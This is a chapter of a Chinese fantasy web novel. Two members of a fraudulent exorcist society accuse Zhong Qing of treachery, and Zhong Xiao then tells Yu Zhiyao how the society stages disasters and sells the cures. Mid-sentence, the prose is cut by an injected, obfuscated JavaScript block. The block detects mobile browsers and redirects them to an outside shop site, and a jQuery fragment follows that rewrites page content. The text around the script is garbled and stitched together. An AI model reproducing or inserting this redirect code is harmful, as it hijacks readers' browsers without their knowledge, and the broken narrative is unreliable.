“叛徒?”
夜风依旧燥热,吹的人心都浮躁起来。章四的笑声突兀响起,在寂静的城墙上连绵不绝。
他笑了好一会儿,才擦着眼睛笑叹道:“难道你说的是钟卿吗,孔卿?”
夜幕黑沉,烟花散尽后,那点光亮也没了,看不清彼此的脸色。
孔卿不说话,动了动脚步,只在黑暗里发出一声冷哼。
章四便又笑了,跟上去两步,在黑暗里说道:“钟卿还是个孩子,每个月总会闹几天脾气,你何必和他置气?”
“置气?孩子?”
孔卿沙哑的声音终于响起,伴随着窸窸窣窣的动静,他似乎扭了下头,声音在夜里发冷:“章四,你眼里的这个孩子都到了娶妻生子的年纪了,你还想装聋作哑到什么时候?”
“而且,”他又哼了一声:“若不是他叛变,我们又怎会大晚上又跑来这墙上吹风?一会儿还不知那刘府如今好不好进。”
他似乎很不满,不等章四接话,便又发了句牢骚:“都怪你们识人不清,我都说不能让他来,你们却非要将这次任务交给他来做,最后还不是要我来收尾?这次,我可不会再听你们的手下留情了。叛徒就得……”
几乎他的情绪刚上来,便被章四笑着打断:“哎我说,孔卿你可是着相了?”
孔卿“啧”了一声,正要接话,又被章四接过话茬道:“钟卿的确有几天不曾回信了,”
他咂摸了一下嘴,说道:“但这只能说明这清水县情况有变,许是钟卿碰见了什么棘手的事脱不了身也不一定,怎么就能说他是背叛我们了呢?”
他说着叹了口气,似乎扭头看了眼远处:“谁知道这清水县的情况这么复杂,依我看,我们还是先同心协力破除危机,至于钟卿,我们自当去救……”
“救什么救?”
孔卿又是冷笑一声:“我还觉得那里出事,都是他自己干的好事呢。不然以前哪一次都没出过差错,怎么这一次让他一个人去了,就让事态升级?不说他忽然失去联系,就说那刘老爷,还来信说让我们不要干涉他们府上的事了,不然反过来要去报官。章四你说,若不是别人说了什么,他怎么敢吞掉我们的东西?”
章四沉默一瞬,忽然摸着下巴说道:“若有关联,似乎也对。小全子执意来守城,我还让他自己躲好点儿,若是碰见情况,就用我给他的遁地符,脱身后再发信号跟我们联络。可现在……他符没用,信号不发,人倒也不见了,难道……”
“当然是那好叛徒干的,”孔卿直接干脆回道,不一会儿又说:“我看他早就有异心了,就说他上次做任务忽然失踪那回,回来后手里多了些宝贝,人也像是变了个人一样,我看他古怪,想多问。偏你们都说不是,是我多想,还让我别跟他一般见识。”
见他来劲了一般,说个没完,章四忽然叹息一声,笑着打断道:“孔卿,你也不能这么说。许是钟卿遭遇了什么也不一定,你不为他着想倒也罢了,竟还趁他不在,将他的小宠物捉来炖了,你想想,他……”
“什么小宠物,那只是只没人要的野狗罢了,多吃他几粒米而已。”
孔卿忽然弯下腰,似乎捉住了梯子,又哼一声道:“没时间和你闲扯了,反正他一定有异心。你们等着,这次我一定掌握他叛逆的证据,到时候,你们可不能再包庇他了。”
“孔卿你……”
章四听了一叹,正要多说,却只听耳畔传来“簌——”的一声滑梯子的声音,那孔卿居然直接跑了。
他气的“嗨”了一声,头往下伸道:“你怎么不听人把话说完呢?没礼貌。”
底下远远传来孔卿沙哑的嗓音:“是,叛徒才讲礼貌,想说好话你找叛徒去。”
“你,”
章四原地跺了跺脚,嘀咕了一句“这都什么人啊”,也没耽搁,拽住梯子也“蹬蹬蹬”往下去了。
“噗”的一声,寂静的城墙上在他们走后,亮起了一盏幽幽黄灯。
于之遥单手扶着砖墙,单膝点在地上,另一只手往前打着灯笼,直勾勾的瞧着面前垂眸不语的人。
她轻声:“叛徒?”
钟逍眨了眨眼睛,慢慢抬起头来,看她一眼,思索了一下道:“是我?”
于之遥“嘶”了一声,似乎没想到他竟承认的这么干脆,又凑近一点盯住他的眼睛,想了想道:“说你是骗子,你不承认,怎么说你是叛徒,你就认得这么爽快?”
她不解,自顾自嘀咕了一声:“难道叛徒比骗子好听?”
钟逍听的莞尔一笑,他看一眼被放在旁边的游安,才跟着凑近过来,也看着她说:“那当然是因为我并非骗子,而且……你也应该听得出来,他们可不是什么好人。所以我当个叛徒,难道不是值得褒奖的吗?”
“慢,慢慢,”
于之遥忽然往后一坐,她抬着下巴,上下打量他道:“先不说当叛徒不是什么值得炫耀的事,其次,你到底在背后做了些什么?渡厄府……难道不是行善事的?”
她揣摩起自己方才听到的那一番对话,信息量很大,但的确没听出他们是恶人,只能听出和她眼前这人有恩怨,以及……他们还有行动。
他们打算去刘府做什么?
正思索着,钟逍看她一眼,叹息一声,终于能延续自己之前没能说完的话了:“渡厄使虽然也打着为人除恶的旗号,但……”他皱了下眉:“和专门负责除恶的镇邪司不同,渡厄府的主职其实不是除恶,而是,”
他的语气严肃,于之遥也认真了一些,抬起头看他:“是什么?”
“施恶,”
钟逍的脸庞映在灯笼下,染出几分柔光,他的面容却不太好看。不等她追问,便几分严肃几分认真道:“渡厄府会先盯好一个地方,派出专人去排查附近情况,等找出谁是最有钱的那户,他们就会在那里埋上一些隐患。”
他顿了顿,抬起头看着她微眯起来的眼睛道:“可
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17814022|209194||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
能是闹鬼,可能是有邪祟,再不济就是忽然死了人,或者遇见什么仇家。总之……渡厄府会提前给这些大难临头的人府上寄信,只需要一笔丰富的酬劳,就能替他们摆平一切灾厄。”
于之遥听懂了,她指着他的脸,恍然大悟:“你们这不就是骗子老巢吗?等等,”
她忽然想起什么,又直勾勾盯着他的眼睛说:“刘府的祸事果然是你们干的,那你之前居然还口口声声……”
“不是,”
钟逍立马否认:“当然不是。”
看她一眼,他脆生生为自己辩解道:“他们知道我的水平,当然不可能交给我太难的任务。这一次他们本来是打算让刘府在钱财上出些差错,让我来给他念念经而已,谁知道……”
他眉头紧皱,垂着眸道:“我还没到府上来呢,他们等不及,竟然先害死一个账房,想拿他填坑。”
他说这话时似乎不太平静,于之遥看了他背上昏迷不醒的游安一眼,了然道:“怪不得你对他……你觉得是你害死他的?”
她若有所思,打量他精致的侧脸,轻声道:“所以你才会……”
钟逍喉结滚动,却没有直接回答这个问题。他咽了咽口水,又垂眸接着说道:“总之害死了人,那刘老爷真怕闹鬼,便在渡厄府里的怂恿下发了悬赏令。偏偏那时候府上忽然上门一个邪道士,然后,然后的事你大概都知晓了。”
他三言两语说完,整个人还是保持低着头的姿态,不知在想什么,看上去似乎有些低落。
于之遥沉默思索,也没着急打断他的状态。
她在判断这话到底可不可信,听上去似乎有些合理,但是,
她顿了顿,忽然挑了下眉,又看着他说:“不对。”
钟逍身子忽然一僵,愣了愣,慢慢抬起头看她,眼睫不安分的眨动着,轻轻看着她说:“什,什么不对?”
于之遥没着急说话,默默和他对视几眼。直看到他眼神闪烁,似乎想开口再追问了。她转了下眼睛,才说:“既然刘府之事超出预料,你为何还一直留在那里,真是对游安心怀愧疚?”
说这话时她看一眼游安,又打量钟逍的神色,看不出什么来,她又道:“还有,如你所说的渡厄府只是骗子窝,是来招摇撞骗骗取钱财的。那么在你失去消息后,他们又怎会还关注刘府的信息,似乎打算上门来……除恶?”
她舌尖滚着这两个字,仔细望进钟逍的眼睛。
没错,排除所有不可能的答案,留下来的不就只有这一个吗?
不管他们之前打算做什么,现在知道刘府情况不对还肯上门,不就是来除恶的吗?
这么看的话……
她正要点头总结,面前忽然传来一道谑笑。
她起初以为听错了,然而那道笑声却越来越大。
她一挑眉,看进钟逍略带悲凉的笑里。
他扯了扯嘴角,看着她说:“之遥,要我夸你可爱吗?”